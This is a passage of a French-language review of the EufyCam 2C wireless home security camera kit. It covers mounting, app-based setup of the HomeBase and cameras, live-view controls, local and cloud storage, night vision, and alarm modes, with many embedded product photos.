<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-design-07/'><img width="550" height="413" src="media/893cfa72.EUFYCAM-2C-Design-07-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-07-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-07-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-07-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-07-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-07-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-07-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-07.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-design-08/'><img width="550" height="413" src="media/7a8a8e76.EUFYCAM-2C-Design-08-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-08-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-08-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-08-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-08-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-08-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-08-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-08.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-design-09/'><img width="550" height="413" src="media/42cf4d5a.EUFYCAM-2C-Design-09-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-09-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-09-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-09-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-09-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-09-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-09-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-09.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p>Enfin, le socle qui se fixe au mur pour venir positionner la caméra dessus ensuite, se démonte facilement afin de pouvoir l'installer avec la visserie fournie (kit complet, avec les chevilles).<strong> Il est orientable dans tous les sens : haut, bas, gauche, droite et diagonale, avec des angles intéressants.</strong> Sur les photos ci-dessous, la caméra est orientée au maximum vers la gauche, puis ensuite au maximum vers le bas.</p>

<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-orientation-socle-03/'><img width="550" height="413" src="media/6fd849dd.EUFYCAM-2C-Orientation-socle-03-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-03-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-03-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-03-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-03-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-03-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-03-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-03.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-orientation-socle-02/'><img width="550" height="413" src="media/6e5afb01.EUFYCAM-2C-Orientation-socle-02-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-02-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-02-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-02-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-02-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-02-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-02.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-orientation-socle-01/'><img width="550" height="413" src="media/c5d241a9.EUFYCAM-2C-Orientation-socle-01-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-01-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-01-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-01-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-01-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-01-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-01-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Orientation-socle-01.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p>J'apprécie le fait que les caméras soient petites et je trouve que le design est plutôt sympa, avec ce plastique brillant blanc et noir. D'autres modèles sur le marché, notamment les caméras Arlo, reprennent ce principe : une coque blanche et la façade noire. Cette formule semble appréciée.</p>
<h2>IV. Initialisation du kit EufyCam</h2>
<p>La notice d'utilisation est assez épurée et claire au niveau des explications. Au début, il faut la suivre, puis on est très rapidement orienté vers <strong>l'application Eufy Security qui va nous guider pas à pas pour la suite de la mise en route</strong>. J'en profite pour vous montrer sur la photo ci-dessous l'emplacement du port microUSB sur une caméra, il est protégé afin de respecter la certification IP67 de la caméra.</p>
<blockquote><p><strong>Remarque</strong> : l'indice de protection IP67 signifie que la caméra est étanche ; protégée à la fois contre la poussière et l'eau, plus précisément la pluie, les éclaboussures, et une immersion de 30 minutes maximum. Suffisant pour un usage en extérieur.</p></blockquote>

<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-initialisation-01/'><img width="550" height="413" src="media/4a5a83ba.EUFYCAM-2C-Initialisation-01-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-01-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-01-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-01-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-01-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-01-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-01-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-01.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-initialisation-02/'><img width="550" height="413" src="media/15e5084a.EUFYCAM-2C-Initialisation-02-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-02-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-02-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-02-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-02-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-02-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-02.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p>L'application<strong> Eufy Security</strong> est disponible gratuitement que ce soit sur Android ou iOS. La première étape consiste à créer un compte Eufy. J'ai pu réutiliser le compte Eufy que j'avais sur une autre de leur application, simplement en validant mon adresse e-mail. Lorsque l'on<strong> se connecte sur l'application pour la première fois, il nous est proposé d'activer la connexion par empreinte digital</strong>e : pratique.</p>
<p>La mise en route va se dérouler en deux temps : premièrement il faut ajouter la base Eufy, et ensuite il faudra ajouter les caméras une à une.</p>
<p><img class="aligncenter size-full wp-image-34891" src="media/4f3a9926.EUFYCAM-2C-App-Init.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-App-Init.jpg" alt="" width="800" height="412" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-App-Init.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-App-Init-550x283.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-App-Init-150x77.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-App-Init-768x396.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-App-Init-160x82.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-App-Init-50x26.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>En appuyant sur le bouton "<em>Ajouter un appareil</em>", on peut ensuite choisir "<em>HomeBase 2</em>" qui est le modèle correspondant au kit EufyCam 2C. Pour l'initialisation, il est indispensable de relier la base Eufy à votre box Internet via le câble RJ45 et le smartphone utilisé avec l'application Eufy Security doit être connecté au même réseau. Il ne reste plus qu'à <strong>suivre les étapes l'une après l'autre</strong>, tout est bien expliqué, jusqu'à arriver sur <strong>le scan du code QR situé sous la base Eufy</strong>. Il reste ensuite à <strong>nommer votre HomeBase.</strong></p>
<p>À la fin de l'initialisation, s'il y a une mise à jour du firmware disponible, elle sera proposée directement. Ce qui fut mon cas. La mise à jour a duré moins de 10 minutes, mais ça dépend de votre connexion Internet.</p>
<p><img class="aligncenter size-full wp-image-34894" src="media/3c64a72d.EUFYCAM-2C-Initialisation-Homebase.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Homebase.jpg" alt="" width="800" height="545" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Homebase.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Homebase-550x375.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Homebase-150x102.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Homebase-768x523.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Homebase-160x109.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Homebase-50x34.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Homebase-130x90.jpg 130w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Lorsque c'est fait pour la HomeBase, il faut recommencer pour associer les deux caméras, sur un principe similaire à celui de la HomeBase. Il faudra passer la caméra en mode synchronisation (association) en appuyant sur le bouton "<em>Sync</em>". La caméra va rechercher la HomeBase... Lorsque l'association est faite, vous avez la possibilité de <strong>nommer la caméra, soit en choisissant dans la liste en fonction de l'emplacement ou avec un nom personnalisé.</strong></p>
<p><img class="aligncenter size-full wp-image-34895" src="media/5fe43562.EUFYCAM-2C-Initialisation-Camera.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera.jpg" alt="" width="800" height="544" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera-550x374.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera-150x102.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera-768x522.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera-160x109.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera-50x34.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Afin de trouver le bon compromis entre durée des enregistrements et autonomie de la batterie, plusieurs modes de fonctionnement sont proposés. <strong>Pour une autonomie optimale de la batterie, les enregistrements seront de 20 secondes maximum.</strong> Pour prioriser la surveillance, vous pouvez <strong>autoriser les enregistrements jusqu'à 60 secondes</strong> : la durée de l'enregistrement va s'adapter en fonction de la détection, ne ce sera pas systématiquement 60 secondes à chaque fois. Quoi qu'il en soit, avec ce type de système de vidéosurveillance, à savoir sans-fil et sur batterie, l'enregistrement 24/24h des flux n'est pas envisageable.</p>
<p>Enfin, pour <strong>bénéficier des 6 mois d'autonomie il faut compter une charge de 4 heures</strong>, soit en connectant la caméra sur la base directement, soit en utilisant un chargeur externe (5V/2A). Les instructions de montage de la caméra sont également fournies. Tout cela est consultable ultérieurement, y compris le changement de mode de fonctionnement.</p>
<p><img class="aligncenter size-full wp-image-34897" src="media/8d681562.EUFYCAM-2C-Initialisation-Camera-Config.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera-Config.jpg" alt="" width="800" height="545" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera-Config.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera-Config-550x375.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera-Config-150x102.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera-Config-768x523.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera-Config-160x109.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera-Config-50x34.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Initialisation-Camera-Config-130x90.jpg 130w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>L'application s'avère très utile lorsqu'il s'agit de déterminer l'emplacement de la caméra afin de s'assurer de la qualité du signal. Ce serait dommage de faire un trou dans les murs et se rendre compte après que le signal est insuffisant... Là, on peut le vérifier en amont et c'est une bonne chose. <strong>J'étais agréablement surpris de la portée des caméras vis-à-vis de la base. Lorsque l'on visualise l'image sur le smartphone, il y a un décalage d'une à deux secondes par rapport au réel.</strong></p>
<p>Eufy recommande de placer la caméra entre deux et trois mètres au-dessus du sol, et de l'orienter en direction du sol, afin d'optimiser la détection. <strong>Le champ de vision est bien plus large que le champ de détection en lui-même</strong>, <strong>j'ai pu le constater,</strong> vous devez bien tenir compte de ça. De plus, vous pouvez jouer sur les paramètres liés à la sensibilité de la détection pour réaliser des ajustements.</p>

<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-emplacement-signal/'><img width="292" height="600" src="media/28cc625c.eufycam-emplacement-signal.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-emplacement-signal.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-emplacement-signal.jpg 292w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-emplacement-signal-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-emplacement-signal-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-emplacement-signal-24x50.jpg 24w" sizes="(max-width: 292px) 100vw, 292px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-positionnement/'><img width="450" height="600" src="media/139a9e5e.eufycam-positionnement.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-positionnement.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-positionnement.jpg 450w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-positionnement-113x150.jpg 113w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-positionnement-120x160.jpg 120w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-positionnement-38x50.jpg 38w" sizes="(max-width: 450px) 100vw, 450px" /></a>

<h2>V. Utilisation et configuration</h2>
<p>L'initialisation du matériel étant effectuée, il est temps de s'intéresser aux différentes fonctionnalités, aussi bien sur le paramétrage que sur l'efficacité. Avant cela, je vais vous présenter l'application Eufy Security pour l'utilisation au quotidien, avant d'attarder sur certains points.</p>
<p>Avant d'aller plus loin, quelques mots sur l'authentification : bien que l'ajout d'une empreinte biométrique soit proposé à l'initialisation de l'application, ensuite <strong>au quotidien, il n'est jamais demandé de s'authentifier.</strong> Ce serait bien d'avoir la possibilité de demandé systématiquement un mot de passe ou de scanner l'empreinte pour chaque ouverture de l'application, voire même, encore mieux d'intégrer de la double authentification.</p>
<p>Lorsque l'on ouvre l'application, on retrouve un aperçu des différentes caméras les unes au-dessus des autres. <strong>Le fait de cliquer sur une vignette permet d'accéder au live de la caméra.</strong> À chaque fois, nous avons des informations sur la batterie et le signal Wi-Fi, ainsi que l'accès aux alertes avec le nombre d'événements indiqué, la possibilité de suspendre les alertes pou un temps donné et un accès à la configuration de l'appareil.</p>
<p><strong>L'ordre d'affichage peut être configuré dans les paramètres de l'application, mais il n'y a pas de mode multivignettes pour visualiser plusieurs caméras en même temps, c'est dommage.</strong></p>
<p>Enfin, dans le bas, nous retrouvons l'onglet "<b>Événements</b>" qui permet d'accéder à l'historique des alertes, par jour, ainsi que l'onglet "<strong>Sécurité</strong>" qui permet de basculer d'un mode de fonctionnement à un autre (nous y reviendrons).</p>

<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-app-eufysecurity-home/'><img width="292" height="600" src="media/01ad6e93.eufycam-app-eufysecurity-home.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-app-eufysecurity-home.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-app-eufysecurity-home.jpg 292w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-app-eufysecurity-home-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-app-eufysecurity-home-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-app-eufysecurity-home-24x50.jpg 24w" sizes="(max-width: 292px) 100vw, 292px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufysecurity-app-evenements/'><img width="292" height="600" src="media/f3281bc4.eufysecurity-app-evenements.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufysecurity-app-evenements.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufysecurity-app-evenements.jpg 292w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufysecurity-app-evenements-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufysecurity-app-evenements-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufysecurity-app-evenements-24x50.jpg 24w" sizes="(max-width: 292px) 100vw, 292px" /></a>

<p>Comme je le disais précédemment, le fait d'appuyer sur une vignette démarre un live de la caméra. Voici ce que cela donne en pratique et les différentes actions proposées par Eufy.</p>
<p><img class="aligncenter size-full wp-image-34930" src="media/d23c6d36.eufycam-app-eufysecurity-icon.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-app-eufysecurity-icon.jpg" alt="" width="633" height="597" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-app-eufysecurity-icon.jpg 633w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-app-eufysecurity-icon-550x519.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-app-eufysecurity-icon-150x141.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-app-eufysecurity-icon-160x151.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-app-eufysecurity-icon-50x47.jpg 50w" sizes="(max-width: 633px) 100vw, 633px" /></p>
<p>Lorsque l'on visualise le live d'une caméra, on accède à certains boutons d'actions :</p>
<p><strong>1 -</strong> Activer / désactiver le projecteur de la caméra</p>
<p><strong>2 -</strong> Déclencher un enregistrement vidéo manuel, qui sera sauvegardé sur le smartphone</p>
<p><strong>3 -</strong> Déclencher une prise de vue manuelle, qui sera sauvegardée sur le smartphone</p>
<p><strong>4 -</strong> Parler au travers de la caméra</p>
<p><strong>5 -</strong> Activer ou désactiver le retour audio de la caméra</p>
<p><strong>6 -</strong> Accéder aux actions complémentaires (image de droite)</p>
<p><strong>7 -</strong> Accéder aux événements de cette caméra</p>
<p><strong>8 -</strong> Modifier le mode de vision nocturne</p>
<p><strong>9 -</strong> Déclencher l'alarme manuellement, sur la caméra ou la HomeBase</p>
<p><strong>10 -</strong> Accéder aux réglages de la caméra</p>
<p>En complément, il bien entendu possible de bascule sur une image en plein écran au format paysage. Il est possible de<strong> zoomer sur l'image avec un glissement de doigts</strong>.</p>
<h3>A. Stockage des enregistrements</h3>
<p>Les <strong>enregistrements sont stockés directement dans la HomeBase du kit</strong>, ce qui signifie qu'il n'y a <strong>pas de surcoût ou d'abonnement mensuel à prévoir</strong>, et que les enregistrements sont stockés chez vous directement. <strong>La mémoire interne est de 16 Go et malheureusement sur cette base, elle n'est pas extensible par microSD</strong>. Un modèle de gamme supérieure offre la possibilité d'ajouter une carte microSD mais pas celui-ci.</p>
<p>Si vous souhaitez externaliser les enregistrements, vous pouvez <strong>souscrire à l'offre Cloud qui est proposée à 2,99$ / mois par caméra ou 9,99$ / mois pour 10 caméras</strong>, le tout avec 30 jours pour l'historique des enregistrements. En complément, si vous avez un NAS Synology ou un modèle compatible, vous pouvez <strong>gérer ces caméras avec l'application du NAS au travers du protocole RTSP.</strong></p>
<p><img class="aligncenter size-full wp-image-34924" src="media/31101ef9.eufycam-stockage-des-enregistrements.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-stockage-des-enregistrements.jpg" alt="" width="800" height="544" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-stockage-des-enregistrements.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-stockage-des-enregistrements-550x374.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-stockage-des-enregistrements-150x102.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-stockage-des-enregistrements-768x522.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-stockage-des-enregistrements-160x109.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-stockage-des-enregistrements-50x34.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h3>B. Détection nocturne</h3>
<p>À propos de la vision nocturne, Eufy propose trois modes : Vision nocturne B &amp; W, Spotlight Night Vision et Éteindre. Concrètement, il y a un premier mode avec la vision nocturne par LED en noir et blanc, un second mode où le projecteur de la caméra s'allume lorsqu'il y a une détection afin d'avoir un enregistrement en couleurs. Enfin, le troisième mode éteint le projecteur et le capteur infrarouge par LED, donc c'est dépendant directement de la luminosité.</p>
<p><img class="aligncenter size-full wp-image-34927" src="media/c3b0ee0e.eufycam-vision-nocturne.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-vision-nocturne.jpg" alt="" width="500" height="594" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-vision-nocturne.jpg 500w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-vision-nocturne-126x150.jpg 126w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-vision-nocturne-135x160.jpg 135w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-vision-nocturne-42x50.jpg 42w" sizes="(max-width: 500px) 100vw, 500px" /></p>
<p><strong>Que ce soit pour la détection de jour ou de nuit, les caméras sont équipées d'une technologie d'intelligence artificielle permettant de détecter les humains. L'objectif étant d'éviter de générer une alerte si un chat passe devant la caméra, par exemple.</strong> Il serait possible également de configurer le système pour ajouter des membres de la famille avec une photo afin de permettre la reconnaissance faciale, mais je n'ai pas trouvé comment faire... Ce n'est pas faute d'avoir fait le tour de l'application plusieurs fois.</p>
<h3>C. Gestion de la sirène et des alertes</h3>
<p>L'objectif n'est pas de déclencher l'alarme lorsque vous êtes chez vous, et potentiellement ce n'est pas non plus de recevoir des alertes à tout bout de champ... Du coup pour vous permettre de gérer le comportement de votre système de sécurité, <strong>Eufy a intégré une gestion des modes</strong>.</p>
<p>Il y a certains modes préconfigurés et vous pouvez créer vos propres programmes. Chaque mode, même existant, est personnalisable, et vous pouvez gérer les différentes options caméra par caméra. Par exemple, désactiver les alarmes sur toutes les caméras sauf une.</p>
<p><strong>Le mode "Absent" active la détection, les enregistrements vidéos ainsi que le déclenchement des alarmes sonores</strong> dans le cas où un événement se produit. C'est le mode de protection maximale. <strong>D'ailleurs, le niveau sonore de l'alarme est de 100 dB ce qui est suffisant et respecte la norme française.</strong></p>
<p>Il y a un mode "<strong>Géorepérage</strong>" actuellement en version bêta, mais qui est intéressant, notamment pour rendre dynamique la bascule d'un mode à l'autre en se basant sur votre géolocalisation (via votre smartphone). Sans lui, vous devez basculer manuellement d'un mode à l'autre, à moins <strong>d'utiliser le mode "Programme" qui permet de gérer un planning pour basculer entre les modes automatiquement.</strong></p>
